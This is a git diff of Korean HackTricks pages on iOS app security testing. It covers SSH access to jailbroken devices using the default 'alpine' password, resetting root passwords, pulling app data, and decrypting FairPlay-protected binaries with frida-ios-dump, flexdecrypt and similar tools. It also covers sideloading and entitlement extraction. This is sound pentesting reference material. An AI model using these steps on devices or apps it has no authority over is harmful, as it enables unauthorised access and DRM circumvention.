* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## **iOS 기기 식별 및 액세스 요약**
|
## **iOS 기기 식별 및 접근 요약**
|
||||||
|
|
||||||
### **iOS 기기의 UDID 식별**
|
### **iOS 기기의 UDID 식별하기**
|
||||||
|
|
||||||
iOS 기기를 고유하게 식별하기 위해 UDID라고 알려진 40자리 시퀀스를 사용합니다. macOS Catalina 이상에서는 iTunes가 더 이상 존재하지 않으므로 이를 **Finder 앱**에서 찾을 수 있습니다. USB로 연결하고 Finder에서 선택한 기기는 이름 아래의 세부 정보를 클릭하면 UDID를 포함한 다른 정보를 확인할 수 있습니다.
|
iOS 기기를 고유하게 식별하기 위해 40자리 시퀀스인 UDID가 사용됩니다. macOS Catalina 이상에서는 **Finder 앱**에서 이를 찾을 수 있으며, iTunes는 더 이상 존재하지 않습니다. USB로 연결된 기기를 Finder에서 선택하면, 이름 아래의 세부 정보를 클릭하여 UDID를 포함한 기타 정보를 확인할 수 있습니다.
|
||||||
|
|
||||||
Catalina 이전 버전의 macOS에서는 iTunes를 통해 UDID를 확인할 수 있습니다. 자세한 지침은 [여기](http://www.iclarified.com/52179/how-to-find-your-iphones-udid)에서 찾을 수 있습니다.
|
Catalina 이전 버전의 macOS에서는 iTunes가 UDID 발견을 용이하게 합니다. 자세한 지침은 [여기](http://www.iclarified.com/52179/how-to-find-your-iphones-udid)에서 확인할 수 있습니다.
|
||||||
|
|
||||||
명령 줄 도구를 사용하면 UDID를 검색하는 대체 방법을 제공합니다:
|
명령줄 도구는 UDID를 검색하는 대체 방법을 제공합니다:
|
||||||
|
|
||||||
* **I/O Registry Explorer 도구 `ioreg` 사용:**
|
* **I/O Registry Explorer 도구 `ioreg` 사용하기:**
|
||||||
```bash
|
```bash
|
||||||
$ ioreg -p IOUSB -l | grep "USB Serial"
|
$ ioreg -p IOUSB -l | grep "USB Serial"
|
||||||
```
|
```
|
||||||
* **`ideviceinstaller`를 macOS (및 Linux)에서 사용하는 방법:**
|
* **macOS (및 Linux)에서 `ideviceinstaller` 사용하기:**
|
||||||
```bash
|
```bash
|
||||||
$ brew install ideviceinstaller
|
$ brew install ideviceinstaller
|
||||||
$ idevice_id -l
|
$ idevice_id -l
|
||||||
```
|
```
|
||||||
* **`system_profiler` 활용하기:**
|
* **`system_profiler` 활용:**
|
||||||
```bash
|
```bash
|
||||||
$ system_profiler SPUSBDataType | sed -n -e '/iPad/,/Serial/p;/iPhone/,/Serial/p;/iPod/,/Serial/p' | grep "Serial Number:"
|
$ system_profiler SPUSBDataType | sed -n -e '/iPad/,/Serial/p;/iPhone/,/Serial/p;/iPod/,/Serial/p' | grep "Serial Number:"
|
||||||
```
|
```
|
||||||
* **`instruments`를 사용하여 장치 목록 나열하기:**
|
* **`instruments`를 사용하여 장치 나열하기:**
|
||||||
```bash
|
```bash
|
||||||
$ instruments -s devices
|
$ instruments -s devices
|
||||||
```
|
```
|
||||||
### **기기 쉘에 접근하기**
|
### **디바이스 셸 접근**
|
||||||
|
|
||||||
**SSH 액세스**는 **OpenSSH 패키지**를 탈옥 후 설치하여 `ssh root@<device_ip_address>`를 통해 연결할 수 있도록 합니다. 기기의 보안을 위해 `root`와 `mobile` 사용자의 기본 암호(`alpine`)를 변경하는 것이 중요합니다.
|
**SSH 접근**은 탈옥 후 **OpenSSH 패키지**를 설치하여 활성화되며, `ssh root@<device_ip_address>`를 통해 연결할 수 있습니다. 디바이스를 보호하기 위해 `root`와 `mobile` 사용자에 대한 기본 비밀번호(`alpine`)를 변경하는 것이 중요합니다.
|
||||||
|
|
||||||
**USB를 통한 SSH**는 Wi-Fi가 없는 경우에 필요하며, `iproxy`를 사용하여 기기 포트를 SSH 연결에 매핑합니다. 이 설정은 다음을 실행하여 USB를 통한 SSH 액세스를 가능하게 합니다:
|
**USB를 통한 SSH**는 Wi-Fi가 없을 경우 필요하며, `iproxy`를 사용하여 SSH 연결을 위한 디바이스 포트를 매핑합니다. 이 설정은 다음 명령어를 실행하여 USB를 통해 SSH 접근을 가능하게 합니다:
|
||||||
```bash
|
```bash
|
||||||
$ iproxy 2222 22
|
$ iproxy 2222 22
|
||||||
$ ssh -p 2222 root@localhost
|
$ ssh -p 2222 root@localhost
|
||||||
```
|
```
|
||||||
**장치 내 쉘 애플리케이션**인 NewTerm 2와 같은 것은 문제 해결에 유용하며, 특히 장치와 직접 상호작용하는 데 도움이 됩니다. **역 SSH 쉘**은 호스트 컴퓨터에서 원격 액세스를 설정할 수도 있습니다.
|
**온디바이스 셸 애플리케이션**은 NewTerm 2와 같은 도구로, 직접적인 장치 상호작용을 용이하게 하며, 문제 해결에 특히 유용합니다. **리버스 SSH 셸**도 호스트 컴퓨터에서 원격 액세스를 위해 설정할 수 있습니다.
|
||||||
|
|
||||||
### **잊어버린 비밀번호 재설정**
|
### **잊어버린 비밀번호 재설정**
|
||||||
|
|
||||||
잊어버린 비밀번호를 기본값(`alpine`)으로 재설정하려면 `/private/etc/master.passwd` 파일을 편집해야 합니다. 이는 `root`와 `mobile` 사용자 항목 옆에 `alpine`의 해시로 기존 해시를 대체하는 것을 의미합니다.
|
잊어버린 비밀번호를 기본값(`alpine`)으로 재설정하려면 `/private/etc/master.passwd` 파일을 편집해야 합니다. 이는 기존 해시를 `root` 및 `mobile` 사용자 항목 옆에 있는 `alpine` 해시로 교체하는 것을 포함합니다.
|
||||||
|
|
||||||
## **데이터 전송 기법**
|
## **데이터 전송 기술**
|
||||||
|
|
||||||
### **앱 데이터 파일 전송**
|
### **앱 데이터 파일 전송**
|
||||||
|
|
||||||
**SSH와 SCP를 통한 아카이빙 및 검색:** `tar`를 사용하여 애플리케이션의 데이터 디렉토리를 아카이브한 다음 `scp`를 사용하여 전송하는 것은 간단합니다. 아래 명령은 데이터 디렉토리를 .tgz 파일로 아카이브한 다음 장치에서 가져옵니다:
|
**SSH 및 SCP를 통한 아카이빙 및 검색:** `tar`를 사용하여 애플리케이션의 Data 디렉토리를 아카이브한 다음 `scp`를 사용하여 전송하는 것은 간단합니다. 아래 명령은 Data 디렉토리를 .tgz 파일로 아카이브한 후 장치에서 가져옵니다:
|
||||||
```bash
|
```bash
|
||||||
tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693
|
tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693
|
||||||
exit
|
exit
|
||||||
|
@ -68,33 +69,33 @@ scp -P 2222 root@localhost:/tmp/data.tgz .
|
||||||
```
|
```
|
||||||
### **그래픽 사용자 인터페이스 도구**
|
### **그래픽 사용자 인터페이스 도구**
|
||||||
|
|
||||||
**iFunbox와 iExplorer 사용:** 이러한 GUI 도구는 iOS 기기의 파일을 관리하는 데 유용합니다. 그러나 iOS 8.4부터 Apple은 이러한 도구의 애플리케이션 샌드박스 접근을 제한했습니다. 단, 기기가 탈옥되어야 합니다.
|
**iFunbox와 iExplorer 사용:** 이 GUI 도구는 iOS 장치의 파일을 관리하는 데 유용합니다. 그러나 iOS 8.4부터 Apple은 장치가 탈옥되지 않는 한 이러한 도구의 애플리케이션 샌드박스 접근을 제한했습니다.
|
||||||
|
|
||||||
### **파일 관리를 위한 Objection 사용**
|
### **파일 관리를 위한 Objection 사용**
|
||||||
|
|
||||||
**Objection의 대화형 셸:** Objection을 실행하면 앱의 번들 디렉토리에 액세스할 수 있습니다. 여기서 앱의 문서 디렉토리로 이동하여 파일을 관리할 수 있으며, iOS 기기로부터 파일을 다운로드하거나 업로드할 수 있습니다.
|
**Objection을 통한 인터랙티브 셸:** Objection을 실행하면 앱의 Bundle 디렉토리에 접근할 수 있습니다. 여기에서 앱의 Documents 디렉토리로 이동하고 파일을 관리할 수 있으며, iOS 장치로부터 파일을 다운로드하고 업로드할 수 있습니다.
|
||||||
```bash
|
```bash
|
||||||
objection --gadget com.apple.mobilesafari explorer
|
objection --gadget com.apple.mobilesafari explorer
|
||||||
cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
|
cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
|
||||||
file download <filename>
|
file download <filename>
|
||||||
```
|
```
|
||||||
## **앱 획득 및 추출**
|
## **앱 얻기 및 추출하기**
|
||||||
|
|
||||||
### **IPA 파일 획득**
|
### **IPA 파일 획득하기**
|
||||||
|
|
||||||
**Over-The-Air (OTA) 배포 링크:** OTA를 통해 테스트용으로 배포된 앱은 ITMS 서비스 자산 다운로더 도구를 사용하여 로컬에 IPA 파일을 저장하는 데 사용할 수 있습니다. 이 도구는 npm을 통해 설치됩니다.
|
**OTA 배포 링크:** OTA를 통해 테스트용으로 배포된 앱은 ITMS 서비스 자산 다운로드 도구를 사용하여 다운로드할 수 있으며, 이 도구는 npm을 통해 설치되고 IPA 파일을 로컬에 저장하는 데 사용됩니다.
|
||||||
```bash
|
```bash
|
||||||
npm install -g itms-services
|
npm install -g itms-services
|
||||||
itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa
|
itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa
|
||||||
```
|
```
|
||||||
### **앱 바이너리 추출하기**
|
### **앱 바이너리 추출**
|
||||||
|
|
||||||
1. **IPA에서 추출하기:** IPA 파일을 압축 해제하여 복호화된 앱 바이너리에 접근합니다.
|
1. **IPA에서:** IPA를 압축 해제하여 복호화된 앱 바이너리에 접근합니다.
|
||||||
2. **Jailbroken 장치에서 추출하기:** 앱을 설치하고 메모리에서 복호화된 바이너리를 추출합니다.
|
2. **탈옥된 장치에서:** 앱을 설치하고 메모리에서 복호화된 바이너리를 추출합니다.
|
||||||
|
|
||||||
### **복호화 과정**
|
### **복호화 과정**
|
||||||
|
|
||||||
**수동 복호화 개요:** iOS 앱 바이너리는 Apple에서 FairPlay를 사용하여 암호화됩니다. 역공학을 위해서는 메모리에서 복호화된 바이너리를 덤프해야 합니다. 복호화 과정은 PIE 플래그를 확인하고 메모리 플래그를 조정한 다음, 암호화된 섹션을 식별하고 해당 섹션을 복호화된 형태로 덤프하고 대체하는 과정을 포함합니다.
|
**수동 복호화 개요:** iOS 앱 바이너리는 Apple의 FairPlay를 사용하여 암호화됩니다. 리버스 엔지니어링을 위해서는 메모리에서 복호화된 바이너리를 덤프해야 합니다. 복호화 과정은 PIE 플래그를 확인하고, 메모리 플래그를 조정하며, 암호화된 섹션을 식별한 후 이 섹션을 복호화된 형태로 덤프하고 교체하는 것을 포함합니다.
|
||||||
|
|
||||||
**PIE 플래그 확인 및 수정:**
|
**PIE 플래그 확인 및 수정:**
|
||||||
```bash
|
```bash
|
||||||
|
@ -104,36 +105,36 @@ otool -Vh Hello_World
|
||||||
```
|
```
|
||||||
**암호화된 섹션 식별 및 메모리 덤프:**
|
**암호화된 섹션 식별 및 메모리 덤프:**
|
||||||
|
|
||||||
`otool`을 사용하여 암호화된 섹션의 시작 및 끝 주소를 확인하고, gdb를 사용하여 탈옥된 기기에서 메모리를 덤프합니다.
|
`otool`을 사용하여 암호화된 섹션의 시작 및 끝 주소를 확인하고, gdb를 사용하여 탈옥된 장치에서 메모리를 덤프합니다.
|
||||||
```bash
|
```bash
|
||||||
otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO
|
otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO
|
||||||
dump memory dump.bin 0x8000 0x10a4000
|
dump memory dump.bin 0x8000 0x10a4000
|
||||||
```
|
```
|
||||||
**암호화된 섹션 덮어쓰기:**
|
**암호화된 섹션 덮어쓰기:**
|
||||||
|
|
||||||
원래 앱 바이너리에서 암호화된 섹션을 복호화된 덤프로 대체합니다.
|
원본 앱 바이너리의 암호화된 섹션을 복호화된 덤프로 교체합니다.
|
||||||
```bash
|
```bash
|
||||||
dd bs=1 seek=<starting_address> conv=notrunc if=dump.bin of=Original_App
|
dd bs=1 seek=<starting_address> conv=notrunc if=dump.bin of=Original_App
|
||||||
```
|
```
|
||||||
**암호 해독 완료:** MachOView와 같은 도구를 사용하여 이진 파일의 메타데이터를 수정하여 암호화가 없음을 나타내는 `cryptid`를 0으로 설정합니다.
|
**최종 복호화:** **MachOView**와 같은 도구를 사용하여 이진 파일의 메타데이터를 수정하여 암호화가 없음을 나타내고 `cryptid`를 0으로 설정합니다.
|
||||||
|
|
||||||
### **자동으로 암호 해독하기**
|
### **복호화 (자동으로)**
|
||||||
|
|
||||||
#### **frida-ios-dump**
|
#### **frida-ios-dump**
|
||||||
[**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) 도구는 iOS 기기에서 앱을 자동으로 해독하고 추출하는 데 사용됩니다. 먼저, `dump.py`를 iOS 기기에 연결하도록 구성해야 합니다. 이는 **iproxy**를 통해 로컬호스트의 2222 포트를 통해 또는 기기의 IP 주소와 포트를 직접 사용하여 수행할 수 있습니다.
|
[**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) 도구는 iOS 장치에서 **자동으로 앱을 복호화하고 추출하는 데** 사용됩니다. 처음에는 `dump.py`를 구성하여 iOS 장치에 연결해야 하며, 이는 **iproxy**를 통해 localhost의 포트 2222로 하거나 장치의 IP 주소와 포트를 통해 직접 수행할 수 있습니다.
|
||||||
|
|
||||||
기기에 설치된 애플리케이션은 다음 명령을 사용하여 나열할 수 있습니다:
|
장치에 설치된 애플리케이션은 다음 명령어로 나열할 수 있습니다:
|
||||||
```bash
|
```bash
|
||||||
$ python dump.py -l
|
$ python dump.py -l
|
||||||
```
|
```
|
||||||
Telegram과 같은 특정 앱을 덤프하려면 다음 명령을 사용합니다:
|
특정 앱, 예를 들어 Telegram을 덤프하려면 다음 명령어를 사용합니다:
|
||||||
```bash
|
```bash
|
||||||
$ python3 dump.py -u "root" -p "<PASSWORD>" ph.telegra.Telegraph
|
$ python3 dump.py -u "root" -p "<PASSWORD>" ph.telegra.Telegraph
|
||||||
```
|
```
|
||||||
이 명령은 앱 덤프를 시작하여 현재 디렉토리에 `Telegram.ipa` 파일을 생성합니다. 이 프로세스는 탈옥된 기기에 적합하며, 미서명 또는 가짜 서명된 앱은 [**ios-deploy**](https://github.com/ios-control/ios-deploy)와 같은 도구를 사용하여 다시 설치할 수 있습니다.
|
이 명령은 앱 덤프를 시작하여 현재 디렉토리에 `Telegram.ipa` 파일을 생성합니다. 이 과정은 탈옥된 장치에 적합하며, 서명되지 않았거나 가짜 서명된 앱은 [**ios-deploy**](https://github.com/ios-control/ios-deploy)와 같은 도구를 사용하여 재설치할 수 있습니다.
|
||||||
|
|
||||||
#### **flexdecrypt**
|
#### **flexdecrypt**
|
||||||
[**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt) 도구와 그 래퍼인 [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac)를 사용하면 설치된 애플리케이션에서 IPA 파일을 추출할 수 있습니다. 기기에 **flexdecrypt**를 설치하기 위한 명령어에는 `.deb` 패키지를 다운로드하고 설치하는 것이 포함됩니다. 아래 명령어에서와 같이 **flexdump**를 사용하여 앱을 나열하고 덤프할 수 있습니다:
|
[**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt) 도구와 그 래퍼 [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac)는 설치된 애플리케이션에서 IPA 파일을 추출할 수 있게 해줍니다. 장치에서 **flexdecrypt**를 설치하는 명령은 `.deb` 패키지를 다운로드하고 설치하는 것입니다. **flexdump**는 아래 명령에서 보여지는 것처럼 앱을 나열하고 덤프하는 데 사용할 수 있습니다:
|
||||||
```bash
|
```bash
|
||||||
apt install zip unzip
|
apt install zip unzip
|
||||||
wget https://gist.githubusercontent.com/defparam/71d67ee738341559c35c684d659d40ac/raw/30c7612262f1faf7871ba8e32fbe29c0f3ef9e27/flexdump -P /usr/local/bin; chmod +x /usr/local/bin/flexdump
|
wget https://gist.githubusercontent.com/defparam/71d67ee738341559c35c684d659d40ac/raw/30c7612262f1faf7871ba8e32fbe29c0f3ef9e27/flexdump -P /usr/local/bin; chmod +x /usr/local/bin/flexdump
|
||||||
|
@ -141,53 +142,54 @@ flexdump list
|
||||||
flexdump dump Twitter.app
|
flexdump dump Twitter.app
|
||||||
```
|
```
|
||||||
#### **bagbak**
|
#### **bagbak**
|
||||||
[**bagbak**](https://github.com/ChiChou/bagbak), 또 다른 Frida 기반 도구로, 앱 복호화를 위해 jailbroken 장치가 필요합니다:
|
[**bagbak**](https://github.com/ChiChou/bagbak), 또 다른 Frida 기반 도구로, 앱 복호화를 위해 탈옥된 장치가 필요합니다:
|
||||||
```bash
|
```bash
|
||||||
bagbak --raw Chrome
|
bagbak --raw Chrome
|
||||||
```
|
```
|
||||||
#### **r2flutch**
|
#### **r2flutch**
|
||||||
**r2flutch**는 radare와 frida를 모두 활용하여 앱의 복호화와 덤프를 수행합니다. 자세한 정보는 [**GitHub 페이지**](https://github.com/as0ler/r2flutch)에서 확인할 수 있습니다.
|
**r2flutch**는 radare와 frida를 활용하여 앱을 복호화하고 덤프하는 데 사용됩니다. 더 많은 정보는 [**GitHub 페이지**](https://github.com/as0ler/r2flutch)에서 확인할 수 있습니다.
|
||||||
|
|
||||||
### **앱 설치하기**
|
### **앱 설치하기**
|
||||||
|
|
||||||
**Sideloading**은 공식 App Store 이외의 앱을 설치하는 것을 의미합니다. 이 과정은 **installd 데몬**에 의해 처리되며, 앱은 Apple이 발급한 인증서로 서명되어야 합니다. Jailbroken된 기기는 **AppSync**를 통해 이를 우회하여 가짜 서명된 IPA 패키지를 설치할 수 있습니다.
|
**사이드로딩**은 공식 App Store 외부에서 애플리케이션을 설치하는 것을 의미합니다. 이 과정은 **installd daemon**에 의해 처리되며, 앱은 Apple에서 발급한 인증서로 서명되어야 합니다. 탈옥된 장치는 **AppSync**를 통해 이를 우회하여 가짜 서명된 IPA 패키지를 설치할 수 있습니다.
|
||||||
|
|
||||||
#### **Sideloading 도구**
|
#### **사이드로딩 도구**
|
||||||
|
|
||||||
- **Cydia Impactor**: iOS에서 IPA 파일 및 Android에서 APK 파일에 서명하고 설치하는 도구입니다. 가이드 및 문제 해결 방법은 [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/)에서 확인할 수 있습니다.
|
- **Cydia Impactor**: iOS에서 IPA 파일과 Android에서 APK 파일을 서명하고 설치하는 도구입니다. 가이드와 문제 해결 방법은 [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/)에서 확인할 수 있습니다.
|
||||||
|
|
||||||
- **libimobiledevice**: Linux 및 macOS용 iOS 기기와 통신하기 위한 라이브러리입니다. ideviceinstaller를 사용하여 USB를 통해 앱을 설치하는 방법과 사용 예제에 대한 설치 명령 및 사용법이 제공됩니다.
|
- **libimobiledevice**: iOS 장치와 통신하기 위한 Linux 및 macOS용 라이브러리입니다. USB를 통해 앱을 설치하기 위한 ideviceinstaller의 설치 명령과 사용 예제가 제공됩니다.
|
||||||
|
|
||||||
- **ipainstaller**: 이 명령줄 도구를 사용하여 iOS 기기에 직접 앱을 설치할 수 있습니다.
|
- **ipainstaller**: 이 명령줄 도구는 iOS 장치에 직접 앱을 설치할 수 있게 해줍니다.
|
||||||
|
|
||||||
- **ios-deploy**: macOS 사용자를 위해 ios-deploy는 명령줄에서 iOS 앱을 설치합니다. IPA를 압축 해제하고 `-m` 플래그를 사용하여 앱을 직접 실행하는 것이 프로세스의 일부입니다.
|
- **ios-deploy**: macOS 사용자를 위해 ios-deploy는 명령줄에서 iOS 앱을 설치합니다. IPA 파일을 압축 해제하고 직접 앱을 실행하기 위해 `-m` 플래그를 사용하는 것이 과정의 일부입니다.
|
||||||
|
|
||||||
- **Xcode**: Xcode를 사용하여 **Window/Devices and Simulators**로 이동하여 앱을 **Installed Apps**에 추가하여 설치할 수 있습니다.
|
- **Xcode**: Xcode를 사용하여 **Window/Devices and Simulators**로 이동하고 앱을 **Installed Apps**에 추가하여 앱을 설치합니다.
|
||||||
|
|
||||||
#### **iPad이외의 기기에 앱 설치 허용하기**
|
#### **비 iPad 장치에서 애플리케이션 설치 허용**
|
||||||
iPhone이나 iPod touch 기기에 iPad 전용 앱을 설치하려면 **Info.plist** 파일의 **UIDeviceFamily** 값을 **1**로 변경해야 합니다. 그러나 이 수정은 서명 유효성 검사로 인해 IPA 파일에 대한 재서명을 필요로 합니다.
|
iPhone 또는 iPod touch 장치에 iPad 전용 애플리케이션을 설치하려면 **Info.plist** 파일의 **UIDeviceFamily** 값을 **1**로 변경해야 합니다. 그러나 이 수정은 서명 검증 체크로 인해 IPA 파일을 다시 서명해야 합니다.
|
||||||
|
|
||||||
**참고**: 이 방법은 더 오래된 iPhone이나 iPod touch를 사용하면서 최신 iPad 모델에만 적용되는 기능을 요구하는 앱의 경우 실패할 수 있습니다.
|
**참고**: 이 방법은 애플리케이션이 구형 iPhone 또는 iPod touch를 사용할 때 최신 iPad 모델에만 해당되는 기능을 요구하는 경우 실패할 수 있습니다.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
## 참고 자료
|
## References
|
||||||
* [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
|
* [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
|
||||||
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/)
|
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/)
|
||||||
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/)
|
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/)
|
||||||
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/)
|
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/)
|
||||||
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0056/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0056/)
|
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0056/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0056/)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 플랜**](https://github.com/sponsors/carlospolop)을 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **자신의 해킹 기법을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,31 +1,32 @@
|
||||||
# 컴파일된 애플리케이션에서 권한을 추출하는 방법
|
# Extracting Entitlements from Compiled Application
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
페이지 요약 [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary)
|
페이지 요약 [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary)
|
||||||
|
|
||||||
### **권한 및 모바일 프로비전 파일 추출**
|
### **Extracting Entitlements and Mobile Provision Files**
|
||||||
|
|
||||||
IPA 파일이나 탈옥된 기기에 설치된 앱을 다룰 때 `.entitlements` 파일이나 `embedded.mobileprovision` 파일을 직접 찾을 수 없을 수 있습니다. 그러나 권한 속성 목록은 여전히 앱 바이너리에서 추출할 수 있으며, 특히 "iOS 기본 보안 테스트" 장에서 "앱 바이너리 획득" 섹션에 설명된 절차를 따를 수 있습니다.
|
앱의 IPA 또는 탈옥된 장치에 설치된 앱을 다룰 때, `.entitlements` 파일이나 `embedded.mobileprovision` 파일을 직접 찾는 것은 불가능할 수 있습니다. 그러나, 앱 바이너리에서 권한 속성 목록을 추출할 수 있으며, 이는 "iOS Basic Security Testing" 장의 절차를 따릅니다. 특히 "Acquiring the App Binary" 섹션을 참조하십시오.
|
||||||
|
|
||||||
암호화된 바이너리라도 이러한 파일을 추출하기 위해 특정 단계를 사용할 수 있습니다. 이러한 단계가 실패하는 경우, Clutch(해당 iOS 버전과 호환되는 경우), frida-ios-dump 또는 유사한 도구를 사용하여 앱을 복호화하고 추출해야 할 수도 있습니다.
|
